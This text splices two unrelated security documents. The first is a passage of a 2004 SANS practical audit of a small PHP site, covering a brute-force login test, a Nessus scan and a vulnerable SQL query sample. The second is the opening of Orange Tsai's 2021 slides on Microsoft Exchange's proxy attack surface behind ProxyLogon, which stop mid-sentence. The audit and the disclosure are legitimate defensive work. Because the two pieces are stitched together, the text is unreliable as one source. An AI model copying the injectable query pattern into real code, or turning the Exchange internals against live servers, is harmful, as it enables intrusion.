server, and found the request. The sani- tized version is shown below: my.ip.address.here - - [01/Apr/2004:23:42:15 -0400] "GET /go.gif HTTP/1.1" 200 1124 website.name.com "www.someothersite.com" "-" "-" This shows that the server correctly received the referrer, claiming to be a differ- ent web site, and that the result code was 200, indicating a successful request for the file. As the testing was performed through a telnet window, there was no way to view the image file that the server actually sent. There remained the option that the site was configured to send a different image in this case. Some web hosts that offer free web hosting do this automatically; any requests for images that do not come from pages hosted on their site are sent a tiny graphic that explains that this form of linking is not allowed. Therefore, I then set up a test web page on another web server, so that I could verify the contents of the actual image. I created a web page that had those two © SANS Institute 2004, Author retains full rights. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 © SANS Institute 2004, As part of GIAC practical repository. Author retains full rights. Herschel Gelman SANS GSNA Practical Assignment Version 3.1 — Option 1 38 test graphics above, linked directly to the images on AuditApp. Viewing that page in a web browser verified that the web server was sending the actual im- ages requested. 3.4.2 Findings Because all images were successfully retrieved even when the server was told— through the referrer string—they were linked to from a different web site, there are shown to be no safeguards against bandwidth theft on AuditApp. RESULT: FAIL 3.5 Scan for Sample Files or Scripts As described in the testing procedures from section 2.5, I performed a Nessus scan of AuditApp with only the “CGI Abuses” option selected. The scan com- pleted successfully with no error messages. 3.5.1 Evidence The Nessus scan results are included here: Nessus Scan Report ------------------ SUMMARY - Number of hosts which were alive during the test : 1 - Number of security holes found : 0 - Number of security warnings found : 0 - Number of security notes found : 1 TESTED HOSTS web.site.name.com DETAILS + web.site.name.com : . List of open ports : o ftp (21/tcp) o ssh (22/tcp) © SANS Institute 2004, Author retains full rights. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 © SANS Institute 2004, As part of GIAC practical repository. Author retains full rights. Herschel Gelman SANS GSNA Practical Assignment Version 3.1 — Option 1 39 o http (80/tcp) o general/tcp (Security notes found) . Information found on port general/tcp Nmap found that this host is running Linux Kernel 2.4.0 - 2.4.17 (X86) ------------------------------------------------------ This file was generated by the Nessus Security Scanner 3.5.2 Findings This scan shows no holes of any kind. The only result is a note to indicate Nes- sus’ guess at what operating system the web site is running. No additional test- ing was necessary. RESULT: PASS 3.6 Test Backup Procedures First I interviewed the site owner to determine the current backup procedures. Following this, we both performed a test of the backup. 3.6.1 Evidence The site owner does all development on a staging Linux server at his home. All code development is done there, and tested on a local copy of the database, before he deploys the updated code to the production web site. Nightly backups of the local server’s files and MySQL database are done automatically, using tar to backup the files and mysqldump to backup the database. Old backups are kept indefinitely. Since the most important copy of the database is the one on the live web site, a scheduled job on the live web server also performs a mysqldump command nightly to create backups of the database’s data. The directory on the web server containing these nightly backups is manually mirrored to the local staging server periodically. This is done with the same script that copies the access logs to the owner’s local machine for analysis. He estimates that this is done twice a day, on average. The database backups from the live server are occasionally © SANS Institute 2004, Author retains full rights. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 © SANS Institute 2004, As part of GIAC practical repository. Author retains full rights. Herschel Gelman SANS GSNA Practical Assignment Version 3.1 — Option 1 40 used to replace all content in the staging server’s database, for two reasons. First, this allows the owner to test the backups; if there are any problems with these backups from the live server, he will discover this when he attempts to im- port them into his database server. Second, it allows him to do site testing with database contents that very closely resemble the contents of the live site, minus any changes that occurred more recently than the last import. We then proceeded to test the backups. First, we deleted the database on the development server (using a DROP DATABASE database-name command in the MySQL console interface), and attempted to view the AuditApp home page. As expected, we received a MySQL error, as it was unable to find the database being requested in the code. Next, we deleted the root directory of the web server, and again attempted to view the site’s home page. This time, we simply received Apache’s default “page not found” page. We were therefore able to verify that both the site’s HTML and PHP code, along with the database contents, had been deleted. The site owner then extracted the contents of the previous night’s tar file backup to a newly created root directory for the web site. Following this, he uncom- pressed the previous night’s mysqldump backup file, manually created a new empty database in MySQL, and then imported the SQL commands in the backup file into the new database. I then viewed the AuditApp home page in my web browser, and confirmed that it was fully functional. We then took a closer look at the data stored in the database, and confirmed that it did come from the most recent database backup. 3.6.2 Findings Nightly backups are sufficiently frequent for this site. The restore procedure was able to successfully restore the site from the most recent backups available with no errors. The only concern is that the site owner is manually copying the backups of the live site to the local server. This raises the possibility of these backups occurring infrequently if the site owner forgets or is unable to copy the backups at some point. However, given that this copying procedure is a necessary step for the owner to analyze the site’s access statistics, it is likely to occur fairly often. In addition, the only way to automate this would be to include a copy of the SSH password in the script, which would bring up other security issues. Therefore, while this is a concern, it is not a major one. RESULT: PASS © SANS Institute 2004, Author retains full rights. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 © SANS Institute 2004, As part of GIAC practical repository. Author retains full rights. Herschel Gelman SANS GSNA Practical Assignment Version 3.1 — Option 1 41 3.7 Unsafe Hidden Form Elements As described in the testing procedure, I used wget to make a local copy of all files on the server, and searched them for hidden form elements. In addition, I obtained the original PHP files and searched those as well. 3.7.1 Evidence I found eleven different hidden form elements in use on this site. Four of these are only available through the administrative interface, and therefore were not analyzed further. Those administrative pages all check the user’s access level before displaying the page, so the user must be logged into an account with ad- ministrative privileges to receive the hidden elements on the page. As a result, there is no further privilege escalation for them to attempt; these users already have full access to the database. The seven remaining hidden elements available to the public are described be- low: • One is on the change password page. It takes an authentication string the user passed in the URL of the page, and includes it in a form submission to a second page. The reason for this design is so the user account details can be accessed using that string from the second page. As this is simply pro- viding user input to a second form, this is safe. • Two hidden elements are on the page that displays the full details and all content for an item in the database. These two elements on this page are both identical, simply used in different branches of the PHP code, and there- fore will be treated as a single element. They are located in a form that al- lows the user to submit information about the item, and includes the item number used in the database as a hidden field. This is not a value previously provided by the user, as they have no reason to know the internal database ID for that item. However, it does not provide any security risks. The users are permitted to provide information about any item in the database, and therefore changing this internal identification number would have the same effect as if they had gone to a different item’s page before submitting their in- formation. Therefore, these two hidden elements are safe. • A fourth hidden element is on a different page that allows the user to enter a different set of information about an item in the database. This has the exact same function as the previous two hidden elements. The only effect changing this hidden data would have is to add the user input to a different item, which they could have done through legitimate means via the web site’s interface. Therefore, this is safe. © SANS Institute 2004, Author retains full rights. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 © SANS Institute 2004, As part of GIAC practical repository. Author retains full rights. Herschel Gelman SANS GSNA Practical Assignment Version 3.1 — Option 1 42 • The remaining three hidden elements are all on the same page, which allows users to enter new items into the database. The process of entering new items is a two-step process; the application first asks for three pieces of basic information, and then creates a second page for the user to continue entering information. In order to provide the data entered on this first screen to the fi- nal page that actually adds the information to the database, these three items are included on the second page as hidden form elements. This is safe, as the hidden elements are items that the user provided previously. Changing the values hidden in the form would have the same effect as entering different information on the first page. 3.7.2 Findings All hidden elements in forms on the site have been shown to be safe. However, in every one of the cases examined above, a better solution would be to use sessions. The web site is already using session management to hold user data such as username and access level. Expanding the session variables to include the data that would otherwise be stored in a hidden form element would be a preferable solution to using these hidden elements. As all of these uses are safe, though; this suggestion merely is a preferred implementation. Therefore, the site passes this test. RESULT: PASS 3.8 Ensure Directory Browsing Settings Are Correct From earlier tests, I already had a full list of all directories on the web server. This includes two directories that should never be visible to the public. The test- ing procedures described in the audit checklist were performed on all of these directories. This allowed me to test both the directory browsing settings as well as any other protection mechanisms in place to prevent the public from access- ing protected portions of the site. For example, phpMyAdmin is installed on the live web site. This is a web-based interface to MySQL, giving the site owner a front-end that allows him to view, modify, or delete any item in any table in the database. It also allows any query to be pasted in a plain text query window. As a result, if an unauthorized user was able to access phpMyAdmin, he/she would have full access to the site’s da- tabase. Obviously, this directory should be well-protected from unauthorized us- ers. 3.8.1 Evidence The following directories were checked: © SANS Institute 2004, Author retains full rights. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 © SANS Institute 2004, As part of GIAC practical repository. Author retains full rights. Herschel Gelman SANS GSNA Practical Assignment Version 3.1 — Option 1 43 Directory Result /images The web server returned an HTTP 403 error page, which means the request was forbidden. /css The web server returned an HTTP 403 error page, which means the request was forbidden. /backup The web server asked for a username and password us- ing basic authentication. When none was given, the web server returned an HTTP 401 error page, which means authorization is required to view the page. /logs The web server asked for a username and password us- ing basic authentication. When none was given, the web server returned an HTTP 401 error page, which means authorization is required to view the page. /phpmyadmin The web server asked for a username and password us- ing basic authentication. When none was given, the web server returned an HTTP 401 error page, which means authorization is required to view the page. Screenshots of the pages returned are not included here, as they were the de- fault pages created by the web hosting company, and therefore would divulge information about the web host in use for this site. 3.8.2 Findings Browsing the first two directories—/css and /images—was denied because the web server is configured to not automatically create index pages, even though the user is allowed to view files contained in those directories. This is the main configuration item I was testing here, and the site passed. Accessing the other three directories requires additional authentication. This is correct, as these directories should not be accessible to the public. The site passes the test. As a side note, it is recommended that the site owner replace the stock error pages supplied by the web host with custom pages that are more useful to the user. While it is unrelated to the security of the site, it would give the site a more professional feel. RESULT: PASS 3.9 Attempt to Brute Force Administrative Account Brutus was launched and configured for the login page for this site. I also cre- ated a custom user list that contained only the one administrative account that is currently in use on the web site. The word list was created from a list of common © SANS Institute 2004, Author retains full rights. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 © SANS Institute 2004, As part of GIAC practical repository. Author retains full rights. Herschel Gelman SANS GSNA Practical Assignment Version 3.1 — Option 1 44 passwords, a dictionary file, and “The Jargon File”23, and contained slightly more than 30,000 entries. The scan was performed against the development server and database rather than the live site. Before starting the test the site owner and I verified that the user list on the development database was identical to the one on the live database. 3.9.1 Evidence The results are shown below: The “Positive Authentication Results” section is empty, which indicates that Bru- tus was unable to find a password that successfully logged into the site. 3.9.2 Findings Brutus was unable to guess the password to the administrative account. There- fore, the site passes this test. 23 http://www.catb.org/jargon/ © SANS Institute 2004, Author retains full rights. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 © SANS Institute 2004, As part of GIAC practical repository. Author retains full rights. Herschel Gelman SANS GSNA Practical Assignment Version 3.1 — Option 1 45 As the site expands and additional users become administrators, a method of checking their accounts for weak passwords may be desired. This could be an extra check when the user signs up, or could be off-line password cracking against the MD5 password hashes that are stored in the database. RESULT: PASS 3.10 Verify Security of any Client-Side Javascript For this test, I once against used the WebScarab listing obtained in section 3.1, test item 001. 3.10.1 Evidence The WebScarab listing is shown again below: This shows a single file on the site that is using client-side scripting. The script contained in that file is included below: © SANS Institute 2004, Author retains full rights. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 © SANS Institute 2004, As part of GIAC practical repository. Author retains full rights. Herschel Gelman SANS GSNA Practical Assignment Version 3.1 — Option 1 46 function setFocus() { if(!formInUse) { document.newitem.title.focus(); } } The HTML code also has an “onload” trigger to call that function, and several “onfocus” triggers to set the formInUse variable. There is no other Javascript on the page. 3.10.2 Findings The Javascript above only sets the cursor focus to a form field, so that a user can begin typing in that field immediately, rather than having to click on the field be- fore typing. As this is purely an ease-of-use enhancement and unrelated to se- curity, no further analysis needs to be done. RESULT: PASS © SANS Institute 2004, Author retains full rights. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 © SANS Institute 2004, As part of GIAC practical repository. Author retains full rights. Herschel Gelman SANS GSNA Practical Assignment Version 3.1 — Option 1 47 4 Audit Report 4.1 Executive Summary This audit report is a result of an audit of AuditApp, performed by Herschel Gel- man in April 2004. As AuditApp is hosted with a web hosting company, this audit only examined the portions of the application that are under the control of the site owner. This includes the code that powers the site and the configuration options that the web hosting company makes available to the site owner. All vulnerabilities tested were in the medium risk range; some were on the low end of medium, and others on the high end of medium. The audit checklist we created for the site contained ten items to test, and all ten were successfully tested. The site passed nine of the tests, and failed one. The failed test is item number 004, and was assessed a risk of medium-low. 4.2 Audit Findings This audit had an unusual subject, as it was a one-person operation. Some of the usual requirements that an auditor would be assessing, such as comprehen- sive security policy and procedures, are not applicable in this case. However, if the site grows to the point of requiring additional staff, a new assessment may be needed to ensure best practices are being followed by all involved. The findings for each test are detailed below. More detailed descriptions of the testing procedures and results are available in sections 2 and 3 of this document. All but one of these tests were passed; the report on the one failed test is in sec- tion 4.2.4 below. 4.2.1 Check For Hidden Comments in HTML This site had only minimal HTML comments, none of which leaked any informa- tion that could be used by an attacker. An example of typical comments in use on this site is below: © SANS Institute 2004, Author retains full rights. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 © SANS Institute 2004, As part of GIAC practical repository. Author retains full rights. Herschel Gelman SANS GSNA Practical Assignment Version 3.1 — Option 1 48 4.2.2 Session Hijacking Via Cookie Manipulation This site uses session cookies securely, based on PHP’s session management functions. In addition, the web hosting company is properly securing session data on their servers. 4.2.3 SQL Injection This site is not vulnerable to SQL injection attacks, because of the use of PHP’s magic_quotes_gpc setting. However, if that setting were disabled, the site has many pages with vulnerable code, and SQL injection attacks could easily be carried out. A sample of vulner- able code—taken from authenticate.php—is included here: $auth = $_GET['auth']; $result = @mysql_query("SELECT * FROM user_auth WHERE auth='$auth'"); While the site is safe as is, you can greatly improve this code. Please see the recommendations in section 4.3.2.1, as well as the findings in section 3.3.2, for more information 4.2.4 Test for Adequate Safeguards Against Bandwidth Theft The site failed this test; no safeguards are currently in place to protect against bandwidth theft. The risk is that anyone can create web pages on their own site that link to images stored on AuditApp. The images could also be used in HTML e-mail messages, web-based forum postings, etc. While this is not a problem itself, if the site receives a large number of visitors, AuditApp’s bandwidth limit may be exceeded. That will cause the web hosting company to disable access to the site until they receive payment for the extra bandwidth usage. While this is not a very high risk item—there’s no possibility of lost or changed data, and the likelihood of this happening is low—it still has the possibility of cre- ating a denial of service against the site. It is therefore my recommendation that this be corrected. 4.2.5 Scan for Sample Files or Scripts The site passes this test. No sample files or scripts were present on this site. © SANS Institute 2004, Author retains full rights. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 © SANS Institute 2004, As part of GIAC practical repository. Author retains full rights. Herschel Gelman SANS GSNA Practical Assignment Version 3.1 — Option 1 49 4.2.6 Test Backup Procedures The site passes this test. The site owner performs automated nightly backups of the PHP and HTML code on the development server, as well as automated nightly backups of the database on the production server. The database back- ups are manually copied to the development server once a day, on average, ac- cording to the site owner. The manual step in there is a concern, but is not a large one, as automating that process would raise additional security issues. 4.2.7 Unsafe Hidden Form Elements The site had no unsafe hidden form elements, and therefore passed this test. However, there were a number of hidden form elements in use to perform func- tions that could have been coded in better ways. 4.2.8 Ensure Directory Browsing Settings Are Correct I tested the five subdirectories that exist on the web site, and all either asked for authentication—for example, to get to the MySQL administration scripts—or re- fused to generate a directory listing. This is the expected result, and the site therefore passed this test. 4.2.9 Attempt to Brute Force Administrative Account My attempt to crack the password for the administrator’s account via a brute force attack was unsuccessful. The empty “Positive Authentication Results” box on the results screen below shows that no working username/password combi- nations were found: © SANS Institute 2004, Author retains full rights. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 © SANS Institute 2004, As part of GIAC practical repository. Author retains full rights. Herschel Gelman SANS GSNA Practical Assignment Version 3.1 — Option 1 50 However, as there is only one administrative account at the moment, the site owner should pay additional attention to this item when more administrative ac- counts are created. 4.2.10 Verify Security of any Client-Side Javascript Only one instance of client-side scripting was found in use on this site, as shown below: © SANS Institute 2004, Author retains full rights. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 © SANS Institute 2004, As part of GIAC practical repository. Author retains full rights. Herschel Gelman SANS GSNA Practical Assignment Version 3.1 — Option 1 51 This script was a simple cursor focus script that has no security implications, and therefore the site passed this test. 4.3 Audit Recommendations 4.3.1 Highly Recommended Actions 4.3.1.1 Protect Against Bandwidth Theft 4.3.1.1.1 Description While this is the lowest risk item that I tested for, and it is possible that this would never be an issue for this web site, I still recommend implementing some form of protection against bandwidth theft. As this vulnerability creates the possibility of a denial of service—whether accidental or intentional—it should be corrected. 4.3.1.1.2 Costs The cost to correct this is minimal. I would estimate at most one hour of the site owner’s time to research the site settings to protect against this, implement it, and test it. © SANS Institute 2004, Author retains full rights. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 © SANS Institute 2004, As part of GIAC practical repository. Author retains full rights. Herschel Gelman SANS GSNA Practical Assignment Version 3.1 — Option 1 52 It does create the possibility for additional complexity later. For example, if an problem arises with some visitors viewing images on the site, the protection mechanism that was added would be another item that would need to be ana- lyzed. However, my personal experience is that this is a very common configu- ration option that is currently in use on many web sites. Therefore, this additional complexity should be minimal, if any. 4.3.1.1.3 Compensating Controls As the cost to eliminate this risk is so low, no compensating controls are needed. 4.3.2 Lower Priority Recommendations These recommendations are simply suggestions to improve the potential security posture of AuditApp, and do not reflect any existing vulnerability in the web site. 4.3.2.1 SQL Injection As the code is now, the site’s security against SQL injection attacks depends on PHP’s magic_quotes_gpc setting being enabled. If this is accidentally disabled, or if the site owner switches to a different web host that does not have this option enabled, the site would be extremely vulnerable to injection attacks. I recommend that the code be strengthened so that it is safe regardless of the magic_quotes_gpc setting. It is possible to write a short function that is called at the beginning of every page that checks the server’s magic_quotes_gpc setting. If it is enabled, the function does nothing. If it is disabled, the function escapes all dangerous characters, doing the job that magic_quotes_gpc would have done otherwise. This would allow for guaranteed safety against SQL injection attacks regardless of PHP’s configuration settings on the site. 4.3.2.2 Hidden form elements AuditApp has a number of hidden form elements: 11 total, seven of which are available to the public viewing the site, and four of which are only seen by users with administrative access. While all of the publicly accessible items were audited and do not pose a security risk, I recommend replacing them with session variables that can accomplish the same job. There are no security issues here, but that would be a much cleaner and preferred implementation. 4.3.2.3 Future password safety The current single administrative account proved to be safe from the brute force attack I launched against it. However, as additional administrator-level accounts © SANS Institute 2004, Author retains full rights. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 © SANS Institute 2004, As part of GIAC practical repository. Author retains full rights. Herschel Gelman SANS GSNA Practical Assignment Version 3.1 — Option 1 53 are created on this site, the potential for an attacker to successfully guess or brute-force a valid login increases. Therefore, I would recommend incorporating password checks into the PHP code when the account is created, and/or per- forming offline password cracking attempts against the password’s MD5 hash that is stored in the database. The site owner would thereby ensure that he is adequately protected against password guessing attacks against any administra- tive account on AuditApp. © SANS Institute 2004, Author retains full rights. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 © SANS Institute 2004, As part of GIAC practical repository. Author retains full rights. Herschel Gelman SANS GSNA Practical Assignment Version 3.1 — Option 1 54 References Atkinson, K. (2003). “Kevin’s word list page.” <http://wordlist.sourceforge.net/> (28 Apr. 2004). “Brutus: the remote password cracker.” <http://www.hoobie.net/brutus/> (24 Apr. 2004). Curphey, M., Endler, D., Hau, W., Taylor, S., Smith, T., et al. (2002). “A guide to building secure web applications: the open web application security project.” Version 1.1.1. <http://www.owasp.org/documentation/guide> (1 May 2004). Fredholm, W. (2003). “Web application security: layers of protection.” SANS InfoSec Reading Room: Security White Papers. <http://www.sans.org/rr/ papers/index.php?id=965> (24 Apr. 2004). Harper, M. (2002). “SQL injection attacks: are you safe?” Sitepoint. <http://www.sitepoint.com/article/794> (28 Apr. 2004). Hendrickx, Michael (2004). “Lilith: web application auditing.” <http://users.pandora.be/0xffffffce/scanit/tools/lilith/> (1 May 2004). Ollmann, Gunter (2003). “Application assessment questioning.” <http://www.technicalinfo.net/papers/AssessmentQuestions.html> (28 Apr. 2004). Pisetsky, A. (2002). “Securing e-commerce web sites.” SANS InfoSec Reading Room: Security White Papers. <http://www.sans.org/rr/papers/ index.php?id=303> (24 Apr. 2004). Rafail, J. (2001). “Cross-site scripting vulnerabilities.” <http://www.cert.org/ archive/pdf/cross_site_scripting.pdf> (24 Apr. 2004). Shiarla, M. (2002). “Cross-sight scripting vulnerabilities [sic].” SANS InfoSec Reading Room: Security White Papers. <http://www.sans.org/rr/ papers/index.php?id=478> (24 Apr. 2004). “SQL injection walkthrough.” SecuriTeam. <http://www.securiteam.com/ securityreviews/5DP0N1P76E.html> (1 May 2004). “Web application security archive.” SecurityFocus. <http://www.securityfocus.com/archive/107> (28 Apr. 2004). © SANS Institute 2004, Author retains full rights. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 © SANS Institute 2004, As part of GIAC practical repository. Author retains full rights. Herschel Gelman SANS GSNA Practical Assignment Version 3.1 — Option 1 55 “Web application security mailing list charter v1.0.” SecurityFocus. <http://www.securityfocus.com/popups/forums/web_application_security/ intro.shtml> (28 Apr. 2004). “Webscarab.” The Open Web Application Security Project. <http://www.owasp.org/development/webscarab> (1 May 2004). Last Updated: December 11th, 2011 Upcoming SANS IT Audit Training
pdf
ProxyLogon is Just the Tip of the Iceberg A New Attack Surface on Microsoft Exchange Server! Orange Tsai USA 2021 Orange Tsai • Orange Tsai, focusing on Web and Application 0-day research • Principal Security Researcher of DEVCORE • Captain of HITCON CTF Team • Speaker of Security Conferences • Black Hat USA & ASIA / DEFCON / HITB / HITCON … • Selected Awards and Honors: • 2017 - 1st place of Top 10 Web Hacking Techniques • 2018 - 1st place of Top 10 Web Hacking Techniques • 2019 - Winner of Pwnie Awards "Best Server-Side Bug" • 2021 - Champion and "Master of Pwn" of Pwn2Own Disclaimer All vulnerabilities disclosed today are reported responsibly and patched by Microsoft Why Target Exchange Server? 1. Mail servers always keep confidential secrets and Exchange Server is the most well-known mail solution for enterprises and governments worldwide 2. Has been the target for Nation-sponsored hackers for a long time (Equation Group😉) 3. More than 400,000 Exchange servers exposed on the Internet according to our survey Exchange Security in the Past Years • Most bugs are based on known attack vectors but there are still several notable bugs: 1. EnglishmansDentist from Equation Group: • Recap: A only practical and public pre-auth RCE in the Exchange history. Unfortunately, the arsenal only works on an ancient Exchange Server 2003 2. CVE-2020-0688 Hardcoded MachineKey from anonymous working with ZDI: • Recap: A classic .NET deserialization bug due to a hardcoded cryptography key. This is also a hint shows Microsoft Exchange is lacking of security reviews Our Works • We focus on the Exchange architecture and discover a new attack surface that no one proposed before. That's why we can pop 0days easily! • We discovered 8 vulnerabilities that covered server-side, client-side, and crypto bugs through this new attack surface, and chained into 3 attacks: 1. ProxyLogon: The most well-known pre-auth RCE chain 2. ProxyOracle: A plaintext-password recovery attacking chain 3. ProxyShell: The pre-auth RCE chain we demonstrated at Pwn2Own 2021 Vulnerabilities We Discovered ■ Vulnerability related to this new attack surface Report Time Name CVE Patch Time Reported by Jan 05, 2021 ProxyLogon CVE-2021-26855 Mar 02, 2021 Orange Tsai, Volexity and MSTIC Jan 05, 2021 ProxyLogon CVE-2021-27065 Mar 02, 2021 Orange Tsai, Volexity and MSTIC Jan 17, 2021 ProxyOracle CVE-2021-31196 Jul 13, 2021 Orange Tsai Jan 17, 2021 ProxyOracle CVE-2021-31195 May 11, 2021 Orange Tsai Apr 02, 2021 ProxyShell (Pwn2Own Bug) CVE-2021-34473 Apr 13, 2021 Orange Tsai (Working with ZDI) Apr 02, 2021 ProxyShell (Pwn2Own Bug) CVE-2021-34523 Apr 13, 2021 Orange Tsai (Working with ZDI) Apr 02, 2021 ProxyShell (Pwn2Own Bug) CVE-2021-31207 May 11, 2021 Orange Tsai (Working with ZDI) Jun 02, 2021 - - - Orange Tsai Vulnerabilities Related to This Attack Surface Dubbed to CVE Patch Time Reported by HAFNIUM CVE-2021-26855 Mar 02, 2021 Orange Tsai, Volexity and MSTIC HAFNIUM CVE-2021-27065 Mar 02, 2021 Orange Tsai, Volexity and MSTIC HAFNIUM CVE-2021-26857 Mar 02, 2021 Dubex and MSTIC HAFNIUM CVE-2021-26858 Mar 02, 2021 MSTIC - CVE-2021-28480 Apr 13, 2021 NSA - CVE-2021-28481 Apr 13, 2021 NSA - CVE-2021-28482 Apr 13, 2021 NSA - CVE-2021-28483 Apr 13, 2021 NSA ■ Vulnerability related to this new attack surface Exchange Architecture Backend Server Frontend Server 2000/2003 Mailbox Role Client Access Role Hub Transport Role Unified Messaging Role Edge Transport Role 2007/2010 Mailbox Role Client Access Role Edge Transport Role 2013 Edge Transport Role 2016/2019 Mailbox Role Mailbox Service Client Access Service Where to Focus? • We focus on the Client Access Service (CAS) • CAS is a fundamental protocol handler in Microsoft Exchange Server. The Microsoft official documentation also indicates: "Mailbox servers contain the Client Access Services that accept client connections for all protocols. These frontend services are responsible for routing or proxying connections to the corresponding backend services" where we focus on Client Access Service in IIS Two websites? Client Access Service in IIS Exchange Architecture • Applications in Frontend include the ProxyModule • Parse incoming HTTP requests, apply protocol specified settings, and forward to the Backend • Applications in Backend include the BackendRehydrationModule • Receive and populate HTTP requests from the Frontend • Applications synchronizes the internal information between the Frontend and Backend by HTTP headers IIS IIS Remote PowerShell RPC Proxy EWS, OWA ECP, OAB… Mailbox Database FrontEnd Service BackEnd Service HTTP/HTTPS IIS Modules Validation Module Logging Module IIS Modules Filter Module FBA Module Oauth Module … Rehydration Module RoutingUpdate Module RBAC Module HTTP Proxy Module Our Ideas Could we access the Backend intentionally? \ProxyRequestHandler.cs BeginRequest AuthenticateRequest AuthorizeRequest MapRequestHandler EndRequest IHttpHandler LogRequest 1. Request Section > CopyHeadersToServerRequest > CopyCookiesToServerRequest > AddProtocolSpecificHeadersToServerRequest 2. Proxy Section > GetTargetBackEndServerUrl > CreateServerRequest > GetServerResponse 3. Response Section > CopyHeadersToClientResponse > CopyCookiesToClientResponse Copy Client Headers 1. Request Section > CopyHeadersToServerRequest > CopyCookiesToServerRequest > AddProtocolSpecificHeadersToServerRequest 2. Proxy Section > GetTargetBackEndServerUrl > CreateServerRequest > GetServerResponse 3. Response Section > CopyHeadersToClientResponse > CopyCookiesToClientResponse BeginRequest AuthenticateRequest AuthorizeRequest MapRequestHandler EndRequest IHttpHandler LogRequest HTTP Header Blacklists protected virtual bool ShouldCopyHeaderToServerRequest(string headerName) { return !string.Equals(headerName, "X-CommonAccessToken", OrdinalIgnoreCase) && !string.Equals(headerName, "X-IsFromCafe", OrdinalIgnoreCase) && !string.Equals(headerName, "X-SourceCafeServer", OrdinalIgnoreCase) && !string.Equals(headerName, "msExchProxyUri", OrdinalIgnoreCase) && !string.Equals(headerName, "X-MSExchangeActivityCtx", OrdinalIgnoreCase) && !string.Equals(headerName, "return-client-request-id", OrdinalIgnoreCase) && !string.Equals(headerName, "X-Forwarded-For", OrdinalIgnoreCase) && (!headerName.StartsWith("X-Backend-Diag-", OrdinalIgnoreCase) || this.ClientRequest.GetHttpRequestBase().IsProbeRequest()); } HttpProxy\ProxyRequestHandler.cs Copy Client Cookies 1. Request Section > CopyHeadersToServerRequest > CopyCookiesToServerRequest > AddProtocolSpecificHeadersToServerRequest 2. Proxy Section > GetTargetBackEndServerUrl > CreateServerRequest > GetServerResponse 3. Response Section > CopyHeadersToClientResponse > CopyCookiesToClientResponse BeginRequest AuthenticateRequest AuthorizeRequest MapRequestHandler EndRequest IHttpHandler LogRequest Add Special Headers 1. Request Section > CopyHeadersToServerRequest > CopyCookiesToServerRequest > AddProtocolSpecificHeadersToServerRequest 2. Proxy Section > GetTargetBackEndServerUrl > CreateServerRequest > GetServerResponse 3. Response Section > CopyHeadersToClientResponse > CopyCookiesToClientResponse BeginRequest AuthenticateRequest AuthorizeRequest MapRequestHandler EndRequest IHttpHandler LogRequest Clone User Identity if (this.ClientRequest.IsAuthenticated) { CommonAccessToken commonAccessToken = AspNetHelper.FixupCommonAccessToken( this.HttpContext, this.AnchoredRoutingTarget.BackEndServer.Version); if (commonAccessToken != null) { headers["X-CommonAccessToken"] = commonAccessToken.Serialize( new int?(HttpProxySettings.CompressTokenMinimumSize.Value)); } } else if (this.ShouldBackendRequestBeAnonymous()) { headers["X-CommonAccessToken"] = new CommonAccessToken(9).Serialize(); } HttpProxy\ProxyRequestHandler.cs Calculate Backend URL 1. Request Section > CopyHeadersToServerRequest > CopyCookiesToServerRequest > AddProtocolSpecificHeadersToServerRequest 2. Proxy Section > GetTargetBackEndServerUrl > CreateServerRequest > GetServerResponse 3. Response Section > CopyHeadersToClientResponse > CopyCookiesToClientResponse BeginRequest AuthenticateRequest AuthorizeRequest MapRequestHandler EndRequest IHttpHandler LogRequest Create New HTTP Client 1. Request Section > CopyHeadersToServerRequest > CopyCookiesToServerRequest > AddProtocolSpecificHeadersToServerRequest 2. Proxy Section > GetTargetBackEndServerUrl > CreateServerRequest > GetServerResponse 3. Response Section > CopyHeadersToClientResponse > CopyCookiesToClientResponse BeginRequest AuthenticateRequest AuthorizeRequest MapRequestHandler EndRequest IHttpHandler LogRequest Attach Authorization Header if (this.ProxyKerberosAuthentication) { // use origin Kerberos Authentication } else if (this.AuthBehavior.AuthState == AuthState.BackEndFullAuth || this. ShouldBackendRequestBeAnonymous() || (HttpProxySettings.TestBackEndSupportEnabled.Value && !string.IsNullOrEmpty(this.ClientRequest.Headers["TestBackEndUrl"]))) { // unauthenticated } else { serverRequest.Headers["Authorization"] = KerberosUtilities.GenerateKerberosAuthHeader( serverRequest.Address.Host, this.TraceContext, ref this.authenticationContext, ref this.kerberosChallenge); } HttpProxy\ProxyRequestHandler.cs Generate Kerberos Ticket internal static string GenerateKerberosAuthHeader(string host, int traceContext, ref AuthenticationContext authenticationContext, ref string kerberosChallenge) { // … authenticationContext = new AuthenticationContext(); authenticationContext.InitializeForOutboundNegotiate(AuthenticationMechanism.Kerberos, "HTTP/" + host, null, null); SecurityStatus securityStatus = authenticationContext.NegotiateSecurityContext(inputBuffer, out bytes); return "Negotiate " + Encoding.ASCII.GetString(bytes); } HttpProxy\KerberosUtilities.cs The Actual Request Sent to Backend Get Backend Response 1. Request Section > CopyHeadersToServerRequest > CopyCookiesToServerRequest > AddProtocolSpecificHeadersToServerRequest 2. Proxy Section > GetTargetBackEndServerUrl > CreateServerRequest > GetServerResponse 3. Response 